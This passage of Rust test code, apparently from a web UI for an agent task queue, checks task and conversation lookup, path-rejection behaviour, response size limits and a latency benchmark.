26039 task.runs = vec![run.id.clone()];
26040 ui.queue.put(&mut task).unwrap();
26041 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26042 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26043 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26044 assert!(
26045 run_detail(State(ui.clone()), Path(run.id.clone()))
26046 .await
26047 .is_ok()
26048 );
26049 assert!(
26050 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26051 .await
26052 .is_ok()
26053 );
26054 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26056 assert!(ui.find_task_for_run(&run.id).is_err());
26057 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26058 ui.queue.put(&mut task).unwrap();
26059 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26060 }
26061
26062 #[tokio::test]
26063 async fn conversation_sections_omit_large_task_instructions() {
26064 let home = tempfile::tempdir().unwrap();
26065 let ui = delta_test_ui(home.path());
26066 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26067 let mut task = Task::new(
26068 "filed task".into(),
26069 "large instruction ".repeat(65536),
26070 PathBuf::from("/repo"),
26071 Source::Agent {
26072 run: id.clone(),
26073 node: "chat".into(),
26074 },
26075 );
26076 ui.queue.put(&mut task).unwrap();
26077 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26078 assert_eq!(sections["tasks"][0]["id"], task.id);
26079 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26080 assert!(sections["tasks"][0].get("instruction").is_none());
26081 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26082 }
26083
26084 #[test]
26085 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26086 let home = tempfile::tempdir().unwrap();
26087 let talks = Talks::at(home.path().join("talks"));
26088 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26089 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26090 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26091 assert!(resolve_talk(&talks, "../outside").is_err());
26092 assert!(resolve_talk(&talks, "abcd").is_err());
26093 assert_eq!(
26094 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26095 "20261019-000001-abcd"
26096 );
26097 }
26098
26099 include!(concat!(
26100 env!("CARGO_MANIFEST_DIR"),
26101 "/tests/web_latency/baseline.rs"
26102 ));
26103
26104 include!(concat!(
26105 env!("CARGO_MANIFEST_DIR"),
26106 "/tests/web_latency/lists.rs"
26107 ));
26108
26109 #[tokio::test]
26110 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26111 async fn web_history_latency_measurement() {
26112 use std::time::Instant;
26113 let home = tempfile::tempdir().unwrap();
26114 let ui = delta_test_ui(home.path());
26115 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26116 let mut template = ui.talks.get(&id).unwrap();
26117 template.turns = serde_json::from_value(serde_json::json!([{
26118 "who": "operator", "body": "Show the accumulated work and its current status.",
26119 "at": Timestamp::now().to_string(),
26120 }]))
26121 .unwrap();
26122 std::fs::write(
26123 ui.talks.path_of(&id),
26124 serde_json::to_vec(&template).unwrap(),
26125 )
26126 .unwrap();
26127 let count = std::env::var("MAGI_BENCH_RECORDS")
26128 .ok()
26129 .and_then(|s| s.parse::<usize>().ok())
26130 .unwrap_or(1000);
26131 for i in 0..count {
26132 template.id = format!("20261019-{i:06}-history");
26133 template.pending = "history ".repeat(2048);
26134 std::fs::write(
26135 ui.talks.path_of(&template.id),
26136 serde_json::to_vec(&template).unwrap(),
26137 )
26138 .unwrap();
26139 let mut task = Task::new(
26140 "old task".into(),
26141 "instruction ".repeat(2048),
26142 PathBuf::from("/repo"),
26143 Source::Human,
26144 );
26145 task.id = format!("20261019-{i:06}-task");
26146 ui.queue.put(&mut task).unwrap();
26147 }
26148 for baseline in [true, false] {
26149 for clients in [1, 4] {
26150 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26151 let mut samples = Vec::new();
26152 for _ in 0..12 {
26153 let mut jobs = Vec::new();
26154 for _ in 0..clients {
26155 let ui = ui.clone();
26156 let id = id.clone();
26157 jobs.push(tokio::spawn(async move {
26158 let start = Instant::now();
26159 if baseline {
26160 let response =
26161 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26162 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26163 return (
26164 elapsed,
26165 elapsed,
26166 serde_json::to_vec(&response).unwrap().len(),
26167 );
26168 }
26169 let core = talk_core(State(ui.clone()), Path(id.clone()));
26170 let secondary = talk_sections(State(ui), Path(id));
26171 let (first, total) = tokio::join!(
26172 async {
26173 let value = core.await.unwrap().0;
26174 (
26175 start.elapsed().as_secs_f64() * 1000.0,
26176 serde_json::to_vec(&value).unwrap().len(),
26177 )
26178 },
26179 async {
26180 let value = secondary.await.unwrap().0;
26181 (
26182 start.elapsed().as_secs_f64() * 1000.0,
26183 serde_json::to_vec(&value).unwrap().len(),
26184 )
26185 }
26186 );
26187 (first.0, first.0.max(total.0), first.1 + total.1)
26188 }));
26189 }
26190 for job in jobs {
26191 samples.push(job.await.unwrap());
26192 }
26193 }
26194 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26195 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26196 first.sort_by(f64::total_cmp);
26197 total.sort_by(f64::total_cmp);
26198 let n = first.len();
26199 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26200 println!(
26201 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26202 first[n / 2],
26203 first[(n * 95 / 100).min(n - 1)],
26204 total[n / 2],
26205 total[(n * 95 / 100).min(n - 1)],
26206 samples[0].2
26207 );
26208 }
26209 }
26210 }
26211
26212 #[test]
26213 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26214 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26216 assert!(APP_JS.contains("function nextRunRequest(id)"));
26217 assert!(APP_JS.contains("function runShell(id, summary)"));
26218 assert!(APP_JS.contains("function nextTaskRequest(id)"));
26219 assert!(APP_JS.contains("function taskShell(id, summary)"));
26220 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26221 }
26222}